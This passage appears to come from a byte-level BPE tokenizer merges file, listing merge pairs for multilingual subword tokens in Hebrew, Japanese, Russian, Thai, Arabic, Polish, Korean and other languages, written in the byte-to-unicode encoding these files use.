פת×Ĺ +ãĥij ãĥ¼ãĥ +ãĥijãĥ¼ãĥ Ĩ +ãĥijãĥ¼ãĥĨ ãĤ£ +ãĥijãĥ¼ãĥĨãĤ£ ãĥ¼ +ĠKa ż +ĠKaż dy +ĠнеобÑħодим оÑģÑĤи +à¸Ł à¸Ńรà¹Į +à¸Łà¸Ńรà¹Į ม +Ġмал ÑĭÑĪ +Ġпл оÑĤ +ĠÑĥ ÑģÑĤÑĢой +ĠÑĥÑģÑĤÑĢой ÑģÑĤва +à¸ĸ à¸Ńà¸Ļ +ĠoluÅŁtur ul +ĠÅĽwi ad +ĠÅĽwiad om +Ùħع Ùĩد +ĠпÑĢоиз веден +Æ ł +ר ×Ļש +Ùħست Ø« +Ùħستث Ùħر +׳×Ļ ×Ļר +pa ñ +Ġ; -) +Ġë°ľ 견 +Ġgör üyor +Ùħؤ ÙĦÙģ +ĠÄIJ á»ģ +ĠاÙĦÙĨ ÙĪØ§Ø¨ +×Ĺ×§ ×Ļר×Ķ +Ġm á»ıi +è¿° ãģ¹ +ÐĿ ик +ìŀĸ ìķĦ +ìŀĸìķĦ ìļĶ +prowadzi ÅĤ +l óg +lóg ica +פס ×ĺ +פס×ĺ ×Ļ×ij׾ +Ġ×ŀ ×ĵ×Ķ +Ġ×ŀ×ĵ×Ķ ×Ļ×Ŀ +ãģĵãģĵ ãģ¾ãģ§ +×Ķ ×ª×Ĺ +×Ķת׊׾×Ķ +Ġפ ×ķס +Ġפ×ķס ×ĺ×Ļ×Ŀ +Ġн ев +Ġнев оз +Ġневоз можно +ĠdostÄĻp ny +Ġغ اÙĦ +ĠغاÙĦ ب +Ġbez pieczeÅĦst +ĠbezpieczeÅĦst wa +åĪĨ ãģĭãĤĭ +ĠF ührung +à¸ģ ีà¹ī +gem Ã¤ÃŁ +à¸Ĭà¹Īวà¸ĩ à¹Ģวลา +Ġìļ°ë¦¬ ëĤĺ +Ġìļ°ë¦¬ëĤĺ ëĿ¼ +ãģ¥ ãģıãĤĬ +ĠاÙĦÙħ سÙĦ +ĠاÙĦÙħسÙĦ ØŃØ© +Ġlibert é +клÑİÑĩ ение +Ġzam ów +Ġzamów ienia +รà¸ĸ à¹Ħà¸Ł +Ø£ ÙģÙĦ +Ø£ÙģÙĦ اÙħ +Ùħ راج +Ùħراج عة +Ġë¹Ħ êµIJ +ĠاÙĦت اب +ĠاÙĦتاب عة +Ġë§Į ëĤĺ +Ġб Ñĥм +ĠбÑĥм аг +Ġgé nero +Ġìŀĺ 못 +×ŀ פ×ķר×ĺ +è²·ãģĦ çī© +ĠÙĦدÙĬ Ùĥ +Ġ×ľ×¢ ×Ļת +Ġ×ľ×¢×Ļת ×Ļ×Ŀ +ĠsÅĤ ab +ĠпÑĢедÑģÑĤав лÑı +ãĤ¿ ãĤ¤ãĥĪ +ãĤ¿ãĤ¤ãĥĪ ãĥ« +Ùħ ص +Ùħص Ø·Ùģ +ÙħصطÙģ Ùī +Ġdifficult é +ãĥĨãĤ£ ãĥĸ +Ġpew noÅĽci +ĠpewnoÅĽci Äħ +Ġ무 ìĬ¨ +Ø¥ رس +إرس اÙĦ +Ġд алÑĮ +ĠдалÑĮ ÑĪе +Ġ׾ ×ł×¡ +Ġ×ľ×ł×¡ ×ķת +หมูà¹Ī à¸ļà¹īาà¸Ļ +×ŀס×ŀ ׼×Ļ +أسÙĦ ÙĪØ¨ +Ġzw ÅĤ +ĠzwÅĤ as +ĠzwÅĤas zc +ĠzwÅĤaszc za +ĠпÑĢ ÐµÐ¶ +ĠпÑĢеж де +ĠоÑĢганиз аÑĨиÑı +Ġdön emin +Ġdönemin de +Ġ Ủ +ĠỦ y +ä¸ĭ ãģĴ +ĠпоÑģлед ние +Ġgü ne +Ġgüne ÅŁ +Ġ×IJ ×ĸר +Ġ×IJ×ĸר ×Ĺ×Ļ +ãģ§ãģĤ ãĤįãģĨ +ĠÙĨ ÙĤ +ĠÙĨÙĤ اط +æŃ£ ãģĹãģĦ +ĠÑĢ ÐµÐ³ +ĠÑĢег иона +ĠFör der +ê²½ ìĺģ +dıkl ar +dıklar ını +trzym aÄĩ +أش Ùĥ +أشÙĥ اÙĦ +×Ķת ×IJ +×Ķת×IJ ×ŀ×Ķ +à¸Ĺำà¹ĥหà¹ī à¹Ģà¸ģิà¸Ķ +ĠGeb ä +ĠGebä ude +ĠСеÑĢ Ð³ +ĠСеÑĢг ей +Ġз доÑĢов +ĠздоÑĢов ÑĮÑı +Ġr ãi +ĠпÑĢед ÑĥÑģ +ĠпÑĢедÑĥÑģ моÑĤÑĢ +ĠпÑĢедÑĥÑģмоÑĤÑĢ ÐµÐ½ +Ġ×Ķצ ×Ļ×ij +Ġ×Ķצ×Ļ×ij ×ķר×Ļ +Ġdés ir +Ġн оÑĩ +ĠноÑĩ ÑĮ +möglich keiten +Ġ×IJ×Ĺר ×ķ׳×Ļ×Ŀ +Ġsoir ée +ĠNh áºŃn +Ù ª +à¸Ľà¸£à¸°à¸§à¸±à¸ķิ ศาสà¸ķรà¹Į +êµIJ íĨµ +ĠØ£ Ø®ÙĬ +Ġdé cid +Ġdécid é +Ġwy ja +Ġwyja ÅĽni +Ġ สิ +Ġสิ à¸ĩ +Ġสิà¸ĩ หา +Ġสิà¸ĩหา à¸Ħม +à¹ģ à¸Ńรà¹Į +หà¸Ļà¹īา à¸Īà¸Ń +ס תר +Ġê ¶ +Ġê¶ Į +Ġê¶Į 리 +pl ätze +ب Ø·ÙĦ +ê±´ ìĦ¤ +Ġ×IJ ×Ļ×ŀ×Ļ +Ġ×IJ×Ļ×ŀ×Ļ ×Ļ׾ +ãģ ½ +تر اث +×IJ׾ ×Ļ×ŀ×ķת +Ġdispon ÃŃveis +Ġz ale +Ġzale ży +à¸Ľà¸£à¸°à¸Ĭา สัมà¸ŀัà¸Ļà¸ĺà¹Į +ĠÅļw iat +Ġpor ówn +Ġporówn a +Ġ׾×ĺ ×ķ×ijת +×Ķ×ĸ ×ŀ׳×Ķ +Ġ×Ľ×ª ×ķצ×IJ×Ķ +Ġ×ij ק׾ +Ġ×ijק׾ ×ķת +ĠоÑĤ кÑĢ +ĠоÑĤкÑĢ Ñĭва +ãĥij ãĥ¯ãĥ¼ +ë¿IJ ë§Į +Ġв ÑģÑı +ĠвÑģÑı к +ãģ¨ãģª ãģ£ãģ¦ãģĦãĤĭ +Ġgi áºŃn +Ġок ÑĢÑĥ +ĠокÑĢÑĥ жа +ĠокÑĢÑĥжа ÑİÑī +ĠUnivers ität +ĠÑĢ Ð¾Ð¶ +ĠÑĢож д +ĠÑĢожд ениÑı +Ø® ÙĬÙĦ +Ġкомпани й +ĠÑĢазлиÑĩ нÑĭе +ĠЦ ена +׳×Ļ ×ķ×ĸ +׳×Ļ×ķ×ĸ ׾ +׳×Ļ×ķ×ĸ׾ ×ĺר +Ġê³µ ê°Ħ +Ġê°ľ ëħIJ +landır ma +ĠÑĥдал ен +à¸ŀัà¸ģ à¸ľ +à¸ŀัà¸ģà¸ľ à¹Īà¸Ńà¸Ļ +Ġprote cción +Ġb ÅĤ +ĠbÅĤ ÄĻd +Ã Ī +Ġíĸī ë³µ +ĠÅŁ ü +ĠÅŁÃ¼ phe +Ġí Ķ +ĠíĶ ¼ +Ġíͼ íķ´ +Ġëĭ¤ 르 +à¹Ħมà¹Ī à¹Ģà¸ģิà¸Ļ +ãģ¿ ãģª +ãģ¿ãģª ãģķãĤĵ +ĠпоÑĤ ÑĢеб +ĠпоÑĤÑĢеб иÑĤел +ĠاÙĦÙĥÙĦ اÙħ +ìķĦ ë²Ħ +ìķĦë²Ħ ì§Ģ +ãĤĴ使 ãģ£ãģŁ +Ġbụ i +ĠпоÑĤ еÑĢ +ĠпоÑĤеÑĢ Ñı +ĠØ¢ ÙĦاÙģ +ĠнаÑģÑĤоÑıÑī ее +ãģıãģªãĤĬ ãģ¾ãģĹãģŁ +clus ão +ãĤ³ ãĥĶãĥ¼ +צ פ×Ļ +צפ×Ļ ×Ļ×Ķ +Ø® ÙĦا +Ø®ÙĦا ص +ล à¹īำ +ãĥ¯ ãĤ¤ãĥ³ +Ġมี à¸Ļา +Ġมีà¸Ļา à¸Ħม +Ø´ خص +شخص ÙĬات +Ġ×ĸ ×§ +Ġ×ĸ×§ ×ķ×§ +×Ļ ×Ļצ +×Ļ×Ļצ ×Ĵ +èĢĥãģĪ æĸ¹ +Ġürün ü +ĠиÑģп ол +ĠиÑģпол ни +Ġcompañ ero +×§ צ×Ķ +×ŀ×¢ ׳×Ļ×§ +Ùħ ØŃÙħد +Ġc ámara +Ġп ед +Ġпед аг +Ġпедаг ог +м аÑĢ +маÑĢ Ðº +×Ķת ׳×Ĵ×ĵ +ĠìĨĮ ê°ľ +Ġcom unitÃł +ê³ ¤ +ĠNg Ãłi +สà¸ĩ à¸ļ +ĠmieszkaÅĦ ców +ĠÙĨ ÙĩائÙĬ +iv ité +Ġи де +Ġиде алÑĮн +ĠØ£ سبÙĪØ¹ +Ġ×Ļ ×¢×ľ +Ġ׾ ר×IJש +Ġ׾ר×IJש ×ķ׳×Ķ +ĠзапиÑģ и +ĠкоÑĢ Ð¿ÑĥÑģ +วà¸ĩ ศ +วà¸ĩศ à¹Į +ĠÐĶ Ð¼ +ĠÐĶм иÑĤ +ĠÐĶмиÑĤ ÑĢ +Ġkön nt +Ġböl ges +Ġbölges inde +׼ ×Ļ׼ +׼×Ļ׼ ר +ĠاÙĦØ¥ Ø«ÙĨ +ĠاÙĦإثÙĨ ÙĬÙĨ +Ġng á»Ļ +ì¹ ł +د راج +Ġu da +Ġuda ÅĤo +ìº IJ +بر ÙĨاÙħج +ĠÑģÑĥд еб +ĠÑģÑĥдеб н +Ġzun ächst +ĠEduc ación +ãģ¨ãģª ãģ£ãģ¦ãģĦãģ¾ãģĻ +Ġ×Ķ×IJ ×ŀ×Ļת×Ļ +Ġİ nt +Ġİnt ernet +ĠcaÅĤ ego +ãĥĹãĥª ãĥ³ +Ø¥ بد +إبد اع +ĠпоÑĢ ÑĤал +à¹Ĥà¸ķ à¹ī +Ġ×Ķ×§ ש×ķר +пл од +ĠÙħ د +ĠÙħد رÙĬد +×ŀסע ×ĵ×Ķ +ĠØ´ÙĬ ئ +ĠØ´ÙĬئ ا +à¸ģà¹Īà¸Ń สรà¹īาà¸ĩ +Ġì°¸ ê³ł +à¹Ģà¸Ĺ ร +à¹Ģà¸Ĺร à¸Ķ +Ġ×ij×ŀ קר×Ļ×Ŀ +Ġb ât +Ġbât iment +åij¼ ãģ³ +ç´ł æķµ +ç´łæķµ ãģª +przedsiÄĻbior st +przedsiÄĻbiorst w +Ġ×ł×ª ×ķ׳×Ļ×Ŀ +×Ĺ׾ ×ķ×Ŀ +ร วย +Ùħ ÙĪØ¶ÙĪØ¹ +ĠÑģоб ÑĢан +вед ÑĥÑī +ĠÑĤе аÑĤ +ĠÑĤеаÑĤ ÑĢ +m eye +meye ceÄŁi +Ġpien iÄħ +ĠpieniÄħ d +ĠpieniÄħd ze +ÑĢез иденÑĤ +ØŃ صر +ìĺ ¥ +à¹Ģย ืà¸Ńà¸Ļ +ĠÑĥ ни +ĠÑĥни веÑĢ +ĠÑĥнивеÑĢ Ñģ +ĠÑĥнивеÑĢÑģ иÑĤеÑĤ +ĠاÙĦر ØŃ +ĠاÙĦرØŃ ÙħÙĨ +ĠÑĤеÑħ нолог +ĠÑĤеÑħнолог ии +ìĹIJ ëĦĪ +ìĹIJëĦĪ ì§Ģ +Ġíķ Ń +ĠíķŃ ìĥģ +à¸ĺ า +à¸ĺา à¸ķุ +ĠEspañ ol +×ĵ×Ĵ ש +Ġêµ ī +Ġêµī ìŀ¥ +Ġêµīìŀ¥ íŀĪ +ĠÅĤ at +ĠÅĤat wo +Ġk á»ĭch +Ø¥ ز +إز اÙĦØ© +ĠдейÑģÑĤв ие +ĠsaÄŁ layan +สุà¸Ķ ยà¸Ńà¸Ķ +Ġzosta Äĩ +Ġdispon ÃŃvel +ïº į +ver ständ +verständ lich +tw or +twor zyÄĩ +ع جز +à¹Ģà¸Ĥ à¹īม +ยà¹Ī à¸Ńม +Ġstrat ég +Ġstratég ie +à¸ľà¸¥ à¹Ħมà¹ī +Ġê°ģ ì¢ħ +ĠÙħ ÙĪØ§ +ĠÙħÙĪØ§ ض +ĠÙħÙĪØ§Ø¶ ÙĬع +اØŃ تج +اØŃتج اج +Ġ Ấ +ĠẤ n +×ŀ ×ŀש׾×Ķ +ĠÅŁek il +×ŀ ×Ĺ׾ +×ŀ×Ĺ׾ ×ķת +Ġ à¸ĺ +Ġà¸ĺ ัà¸Ļ +Ġà¸ĺัà¸Ļ วา +Ġà¸ĺัà¸Ļวา à¸Ħม +Ġìĭ¤ ìłľ +Ġìĭ¤ìłľ ë¡ľ +ì¤ij ìķĻ +ëįĶ ëĿ¼ +ĠÑĪ Ð¸ÑĢ +ĠÑĪиÑĢ Ð¾ÐºÐ¾ +Ġsol ución +วาà¸ĩ à¹ģà¸ľà¸Ļ +×IJ×ķ×ĺ ×ķ×ŀ +×IJ×ķ×ĺ×ķ×ŀ ×ĺ×Ļ +ĠÑĢ ÐµÑģÑĤ +ĠÑĢеÑģÑĤ оÑĢ +ĠÑĢеÑģÑĤоÑĢ Ð°Ð½ +ëį ¸ +ÑĤ ÑĢад +ÑĤÑĢад и +ÑĤÑĢади ÑĨион +ÑĤÑĢадиÑĨион н +มะ à¹Ģรà¹ĩ +มะà¹Ģรà¹ĩ à¸ĩ +à¹Ĥ ส +Ġol masını +×ŀ×ķס ר +ĠоÑĤноÑĪ ÐµÐ½Ð¸Ð¸ +Ġê°ĢëĬ¥ ìĦ± +Ġy uk +Ġyuk arı +ìĨ Ķ +ĠÑģ ÑĦ +ĠÑģÑĦ еÑĢе +Ġ×§ ×ķפ +ãĤ± ãĥ¼ãĤ +ãĤ±ãĥ¼ãĤ Ń +âĢķ âĢķ +ĠاÙĦØ£ ÙĦÙħ +ĠاÙĦØ£ÙĦÙħ اÙĨÙĬ +Ả N +ת×ķ׼ ׳×Ļ×ķת +ĠÑģÑĥÑīеÑģÑĤв ÑĥеÑĤ +æĪij ãĢħ +ĠاÙĦص ادر +ĠTr á»įng +Ġа д +Ġад миниÑģÑĤ +ĠадминиÑģÑĤ ÑĢа +ĠадминиÑģÑĤÑĢа ÑĨи +ĠдÑĢÑĥг ими +Ñģп еÑĪ +عÙĦاÙħ ات +Ġа б +Ġаб Ñģол +ĠабÑģол ÑİÑĤ +ĠабÑģолÑİÑĤ но +ฤ à¸Ķู +é tr +étr anger +нÑı ÑĤи +нÑıÑĤи е +×¢ ×ķ׳ +×¢×ķ׳ ש +ĠÙĤ ائ +ĠÙĤائ ÙĦا +Ġм аÑģ +ĠмаÑģ ло +ãĥī ãĤ¤ +ãĥīãĤ¤ ãĥĦ +å¿ħè¦ģ ãģĮãģĤãĤĬãģ¾ãģĻ +×ŀ×ķ×ĸ ×Ļ×IJ +×ŀ×ķ×ĸ×Ļ×IJ ×ķף +ĠNgo ại +Ġkê nh +à¸ģาร à¸Ńà¸Ńà¸ģà¹ģà¸ļà¸ļ +×ŀ פק +×ŀפק ×ĵ +ÙħÙĨ از +ÙħÙĨاز ÙĦ +ë· ° +íĹ ¤ +ÙħÙĩ ارات +Ġpropri été +פ×Ĵ ×Ļש×Ķ +Ñĩ ÑĢ +ÑĩÑĢ ÐµÐ¶ +ÑĩÑĢеж ден +×Ķ ×ķצ×IJ×Ķ +ØŃÙĥ ÙĬÙħ +ĠíĻ Ī +ĠíĻĪ íİĺìĿ´ì§Ģ +åİ ³ +åݳ ãģĹãģĦ +×¢ ×ŀ×ĵ×Ķ +ĠAu ÃŁen +سÙĪ Ø¡ +ë¹ Ī +ĠÙĪ Ø® +ĠÙĪØ® اصة +ин ÑĤеÑĢ +инÑĤеÑĢ ÐµÑģ +èĩ´ ãģĹãģ¾ãģĻ +Ġhük üm +à¹Ħà¸Ĥ มัà¸Ļ +Ġdav ran +Ġdavran Ä±ÅŁ +à¹Ģà¸ķ ียà¸ĩ +в ÑĢем +вÑĢем енно +à¹Ģà¸Ĺศ à¸ģา +à¹Ģà¸Ĺศà¸ģา ล +å¼ķ ãģ£ +å¼ķãģ£ è¶ĬãģĹ +×IJר ×ķ×Ĺ +×IJר×ķ×Ĺ ×ª +à¹Ģ วิ +à¹Ģวิ รà¹Į +à¸Ńยà¹Īาà¸ĩ รวà¸Ķà¹Ģรà¹ĩว +ĠìŬ íĸī +ĠÑĢан ÑĮ +ĠÑĢанÑĮ ÑĪе +Ġzob ow +Ġzobow iÄħ +ĠzobowiÄħ z +Ġ×ķ׼ ×ŀ×ķ×ijף +ĠاÙĦÙħ Ùĩ +ĠاÙĦÙħÙĩ ÙĨÙĬ +ãĤ¢ ãĤ¸ +ãĤ¢ãĤ¸ ãĤ¢ +ë°© ìĨ¡ +à¸Ńà¸Ńà¸ģ à¸ģำลัà¸ĩ +à¸Ńà¸Ńà¸ģà¸ģำลัà¸ĩ à¸ģาย +am éli +améli orer +å½ĵãģŁãĤĬ åīį +Ġreg elm +Ġregelm Ã¤ÃŁig +ãģĬ åĭ +ãģĬåĭ § +ãģĬåĭ§ ãĤģ +Ġm ưá»Ŀi +بر Ùħج +ĠNat ürlich +ĠD Å©ng +ĠاÙĦر جاÙĦ +Ġthé p +Ġol muÅŁtur +×ŀ×ķס ×Ļ×§×Ķ +f älle +주 íĥĿ +ĠاÙĦÙģ Ø±Øµ +Ġnaj wiÄĻks +ĠnajwiÄĻks zy +Ġça ÄŁ +ĠçaÄŁ rı +ì¸ ł +ĠvÃŃ ct +ĠvÃŃct ima +ĠÑģовеÑĢ ÑĪен +×Ķ×Ļ ×Ļת×Ļ +à¹Ģà¸Ķ ี +à¹Ģà¸Ķี à¹ĭ +à¹Ģà¸Ķีà¹ĭ ยว +ü yü +Ġд оп +Ġдоп олн +Ġдополн иÑĤелÑĮно +à¹ģà¸ķà¸ģà¸ķà¹Īาà¸ĩ à¸ģัà¸Ļ +Ġá l +Ġál bum +à¸Ľà¸£à¸°à¸Īำ à¸Ľà¸µ +ĠÑĦ едеÑĢ +ĠÑĦедеÑĢ Ð°Ð»ÑĮн +Ġobs ÅĤ +ĠobsÅĤ ugi +à¹Ģร ืà¹Ī +à¹Ģรืà¹Ī à¸Ńย +à¹Ģรืà¹Īà¸Ńย à¹Ĩ +ëģ Į +Ġngh ìn +ĠBaÅŁkan lıģı +تأ سÙĬ +تأسÙĬ س +Ġ×ij×ij ×ķקר +Ġ×¢×ij×ķ×ĵ ×ķת +Ġبص ÙĪØ±Ø© +ãĤıãģij ãģ§ãģ¯ãģªãģĦ +führ er +ãĤ¹ ãĤŃ +ãĤ¹ãĤŃ ãĥ« +ĠاÙĦÙĤ ض +ĠاÙĦÙĤض ÙĬØ© +Ġдолж ноÑģÑĤ +ÙģØ§Ø± ÙĤ +Ġcomeç ou +Ġorganis é +Ġxu ân +ĠÑģообÑī аеÑĤ +ĠпÑĢи д +ĠпÑĢид еÑĤÑģÑı +TÃľ RK +ãĥ¬ ãĥ¼ãĤ·ãĥ§ãĥ³ +Kh ông +است Ùģ +استÙģ Ø§Ø¯Ø© +ä¸ĬãģĮ ãģ£ãģ¦ +Ġum ie +Ġumie jÄĻ +ĠumiejÄĻ tn +ĠumiejÄĻtn oÅĽci +ëĤ ¸ +à¹Ģà¸Ļ à¸Ńรà¹Į +×ĵ×ķ ×ķ×Ĺ +ÃŃs imo +I ÃĬ +IÃĬ N +Ġalcan ç +Ġ à¸ķุ +Ġà¸ķุ ลา +Ġà¸ķุลา à¸Ħม +ש׾ ×ĺ×ķף +Ġél è +Ġélè ves +ĠÄij u +ĠÄiju á»ķi +ĠØ£ Ùģ +ĠØ£Ùģ Ø±ÙĬ +ĠØ£Ù쨱ÙĬ ÙĤÙĬ +ĠØ£Ù쨱ÙĬÙĤÙĬ ا +ãĤĴæİ¢ ãģĻ +ĠпÑĢед ложениÑı +ج اد +ĠÑħоÑĤ ÑĮ +Ñģ ал +Ñģал он +à¸Ľà¸£à¸° à¹Ģม +à¸Ľà¸£à¸°à¹Ģม ิà¸Ļ +ãĤŃ ãĥĥãĥģ +ãĤŃãĥĥãĥģ ãĥ³ +×ij×ĵ×Ļ×§ ×ķת +Ġch ù +Ġchù a +ÐĴ иде +ÐĴиде о +иÑĢов ка +ĠÑħоÑĤ иÑĤе +Ġspéc ifique +รส à¸Ĭาà¸ķิ +è¾¼ ãĤĵãģł +伸 ãģ³ +×Ķצ׾ ×Ĺת +ãģ©ãģ® ãĤĪãģĨãģ« +سع ادة +Ġл ид +Ġлид еÑĢ +ม à¸ĩ +มà¸ĩ à¸Ħล +ØŃ اÙħÙĦ +หล ุà¸Ķ +à¸Ńยà¹Īาà¸ĩ à¸ķà¹Īà¸Ń +à¸Ńยà¹Īาà¸ĩà¸ķà¹Īà¸Ń à¹Ģà¸Ļืà¹Īà¸Ńà¸ĩ +ãģķãģĽãģ¦ éłĤ +تس ÙĪÙĬ +تسÙĪÙĬ ÙĤ +ĠaÅŁaģı d +ĠaÅŁaģıd aki +ĠÑĨ елÑĮ +ĠÑĨелÑĮ Ñİ +ĠAra ÅŁtırma +à¸Ĥัà¸ļ รà¸ĸ +Ùĩ ذÙĩ +ลà¸ĩ à¸Ĺะ +ลà¸ĩà¸Ĺะ à¹Ģà¸ļ +ลà¸ĩà¸Ĺะà¹Ģà¸ļ ียà¸Ļ +تÙĥ اÙħÙĦ +Ġc io +Ġcio è +ãģ¦ ãģĬãģı +ĠاÙĦصØŃ ÙģÙĬ +ĠíĬ¹ ìłķ +полн иÑĤÑĮ +ãĤĵ ãģĺãĤĥãģªãģĦ +ãĤĵãģĺãĤĥãģªãģĦ ãģĭ +ĠاÙĦج Ùĩ +ĠاÙĦجÙĩ ات +ĠÑĥÑģпеÑĪ Ð½Ð¾ +Ġв ок +Ġвок ÑĢÑĥг +ĠÑģиÑĤÑĥ аÑĨиÑı +Ġ×Ķ×IJ ×ŀר +Ġ×Ķ×IJ×ŀר ×Ļ×§ +Ġ×Ķ×IJ×ŀר×Ļ×§ ×IJ×Ļ +×ŀ ×Ĵ×ĸ +×ŀ×Ĵ×ĸ ×Ļף +Ġак ÑĤÑĥ +ĠакÑĤÑĥ алÑĮн +é ta +éta is +Ġmog ÅĤa +ĠÑĤоÑĩ ки +Ġ×ŀ×Ķ ×ŀ×¢ +Ġ×ŀ×Ķ×ŀ×¢ ×¨×Ľ×ª +มี à¸Ľà¸£à¸°à¸ªà¸´à¸Ĺà¸ĺà¸´à¸łà¸²à¸ŀ +×Ļר ×Ļ×ĵ×Ķ +×Ĵר ×ŀ׳ +×Ĵר×ŀ׳ ×Ļ×Ķ +Ġг лав +Ġглав ное +Ġ미 ëŀĺ +Ġ׳׼ ×ķ׳×Ķ +ĠÙĪ Ø·ÙĨÙĬ +op port +opport unitÃł +Ġh á»§y +ĠÙĦ تØŃ +ĠÙĦتØŃ ÙĤÙĬÙĤ +Ġó rg +Ġórg ão +ãĤ¹ ãĥĶ +ãĤ¹ãĥĶ ãĥ¼ãĥī +Ġön ü +Ġönü ne +Ùħع اÙħÙĦ +ש×ŀ ×Ļר×Ķ +ĠвеÑģÑĮ ма +ĠwiÄĻks zo +ĠwiÄĻkszo ÅĽÄĩ +Ġاست راتÙĬج +ĠاستراتÙĬج ÙĬØ© +ĠÙģ Ø¥ +ĠÙ쨥 ذا +à¹Ģà¸Ĭืà¹Īà¸Ń ม +à¹Ģà¸Ĭืà¹Īà¸Ńม à¸ķà¹Īà¸Ń +Ġ׾ פר +Ġ׾פר ×ĺ×Ļ×Ŀ +Ùħض ÙĬ +ĠGer çek +Ġçocuk ların +ÙĪØ« ائÙĤ +ĠÙħساء Ùĭ +Ġunterstüt zt +Ġpré st +Ġprést amo +ĠÐłÐ°Ð· меÑĢ +ĠÅŁ eker +Ġsé culo +×ij×Ķ ×Ļר +Ø´Ùĩ ÙĪØ± +Ġ à¸Ńีà¸ģ +Ġà¸Ńีà¸ģ à¸Ĺัà¹īà¸ĩ +Ġlleg ó +à¸¨à¸´à¸¥à¸Ľ ะ +æĪij ãģĮ +æĪijãģĮ å®¶ +ع ÙĤÙĪ +عÙĤÙĪ Ø¨Ø§Øª +ĠF älle +Ġs ÅĤuż +ĠsÅĤuż b +ĠاÙĦØŃÙĤ ÙĪÙĤ +Ġпл иÑĤ +Ġи ноÑģÑĤ +ĠиноÑģÑĤ ÑĢан +ĠиноÑģÑĤÑĢан н +à¹ĥà¸Ļ à¸Ĥà¸ĵะà¸Ĺีà¹Ī +ãĤ« ãĥĨ +ãĤ«ãĥĨ ãĤ´ +ãĤ«ãĥĨãĤ´ ãĥª +à¸Ńิ ส +à¸Ńิส ระ +à¹Ģà¸ľà¸¢ à¹ģ +à¹Ģà¸ľà¸¢à¹ģ à¸ŀร +à¹Ģà¸ľà¸¢à¹ģà¸ŀร à¹Ī +ãģĬ ãģĦ +ãģĬãģĦ ãģĹãģĦ +است ÙĤÙĦ +استÙĤÙĦ اÙĦ +تØŃ ض +تØŃض ÙĬر +åĬ© ãģij +Ùħر اÙģÙĤ +Ġ×ĵ ×ķר +Ġ×ĵ×ķר ש +×ŀת×Ļ ×Ļ×Ĺס +ס ×Ļ׼ +ס×Ļ׼ ×ķ×Ŀ +íĮĮ íĬ¸ +Ġwy ÅĽ +ĠwyÅĽ w +ĠwyÅĽw iet +ĠwyÅĽwiet l +ĠاÙĦاÙĨ ساÙĨ +ĠStra ÃŁen +ï¼ ¬ +ãģ« åŁº +ãģ«åŁº ãģ¥ +Ġcap ÃŃtulo +ลุ ย +Ġ×Ķ×ŀ×§ צ×ķ×¢×Ļ +ãģĤãĤĭ ç¨ĭ度 +á» ¢ +ĠاÙĦ ÙĦا +ĠاÙĦÙĦا زÙħØ© +æķĻ ãģĪ +Ġרש ×IJ×Ļ +з ав +зав иÑģ +завиÑģ им +à¸Ľà¸±à¸Ī à¸Īัย +à¹Ģà¸ĭ ล +à¹Ģà¸ĭล ลà¹Į +Ġdiffé rence +ĠAlt ın +Ġк ÑĢай +ĠкÑĢай не +Ġз ло +Ġgün ümüz +Ġн аÑĤÑĥÑĢ +ĠнаÑĤÑĥÑĢ Ð°Ð»ÑĮн +×Ĵ×ķ׾ ש×Ļ×Ŀ +Ġк аÑĤегоÑĢ +ĠкаÑĤегоÑĢ Ð¸Ð¸ +Ġз нак +à¸ģà¹Īà¸Ńà¸Ļ หà¸Ļà¹īา +à¸ģà¹Īà¸Ńà¸Ļหà¸Ļà¹īา à¸Ļีà¹ī +ĠÙħÙĨ ت +ĠÙħÙĨت خب +ãĥĽ ãĥ¼ãĥ« +Ġе вÑĢо +ส ว +สว ม +ĠìľĦ ìĽIJ +ĠìľĦìĽIJ ëĭĺ +ĠاÙĦØŃ ÙĪØ« +ĠاÙĦØŃÙĪØ« ÙĬ +ĠÑģодеÑĢж иÑĤ +ãĥķãĤ¡ ãĥĥãĤ·ãĥ§ãĥ³ +Ġ à¸ģัà¸Ļ +Ġà¸ģัà¸Ļ ย +Ġà¸ģัà¸Ļย ายà¸Ļ +ãĤª ãĥª +ãĤªãĥª ãĤ¸ +ãĤªãĥªãĤ¸ ãĥĬãĥ« +Ġб ÑĢенд +ãĤĴæĮģ ãģ£ãģ¦ãģĦãĤĭ +Ġinvers ión +Ġê° ĸ +Ġê°ĸ ê³ł +Ġnov itÃł +ê´Ģ ê´ij +Ġà¸ŀ ฤษ +Ġà¸ŀฤษ à¸łà¸² +Ġà¸ŀà¸¤à¸©à¸łà¸² à¸Ħม +×ķר ×Ĺ×Ļ×Ŀ +׼׾ ×ķ׾ +Ġng ạc +×Ļ ×Ļש +×Ļ×Ļש ×ķ×ij +f äll +fäll ig +ĠÑĤÑĢеб ÑĥеÑĤÑģÑı +Ġcar á +Ġcará cter +Ġprinc ÃŃpio +ĠÅĤ az +ĠÅĤaz ien +ĠÅĤazien k +Ġgi ãn +ÑģÑĤÑĢа ива +Ùħس اب +Ùħساب ÙĤØ© +à¹Ģà¸Ħรืà¹Īà¸Ńà¸ĩ à¸Ķืà¹Īม +ترÙĥ ÙĬب +vol ução +ĠÐŁ оÑĩ +ĠÐŁÐ¾Ñĩ ем +ĠÐŁÐ¾Ñĩем Ñĥ +казал оÑģÑĮ +ĠпÑĢимен ениÑı +à¹Ģà¸Ĺ ียม +íĮ Ķ +à¸Ĥà¹īà¸Ń à¹Ģสà¸Ļà¸Ń +à¸Ľà¸±à¸į à¸įา +Ġоб ÑĥÑĩ +ĠобÑĥÑĩ ениÑı +ĠÑģеÑĢ Ð¸ +ĠÑģеÑĢи ал +Ġingl és +ĠÙĦ Ùĥرة +Ġ×ĺ ׾ +Ġ×ĺ׾ פ×ķף +Ġìł ij +Ġìłij ê·¼ +×IJ ×ķ×Ĵ +×IJ×ķ×Ĵ ×ķס +×IJ×ķ×Ĵ×ķס ×ĺ +ĠболÑĮÑĪ Ð¾Ðµ +ĠÐļон еÑĩно +×¢×Ļת ×ķ׳ +×¢×Ļת×ķ׳ ×IJ×Ļ +Ġкноп к +Ġз н +Ġзн аÑĤÑĮ +ĠÄij á»± +ĠÄijá»± ng +вл аж +влаж н +×ŀ ×Ļ×ĺ×ij +ãĤ¬ ãĤ¤ +ãĤ¬ãĤ¤ ãĥī +........ .. +Ġà¸ģ ุม +Ġà¸ģุม à¸łà¸²à¸ŀ +Ġà¸ģà¸¸à¸¡à¸łà¸²à¸ŀ ัà¸Ļ +Ġà¸ģà¸¸à¸¡à¸łà¸²à¸ŀัà¸Ļ à¸ĺ +Ġà¸ģà¸¸à¸¡à¸łà¸²à¸ŀัà¸Ļà¸ĺ à¹Į +be z +bez pieczeÅĦst +bezpieczeÅĦst w +ãĥijãĥij æ´» +ع 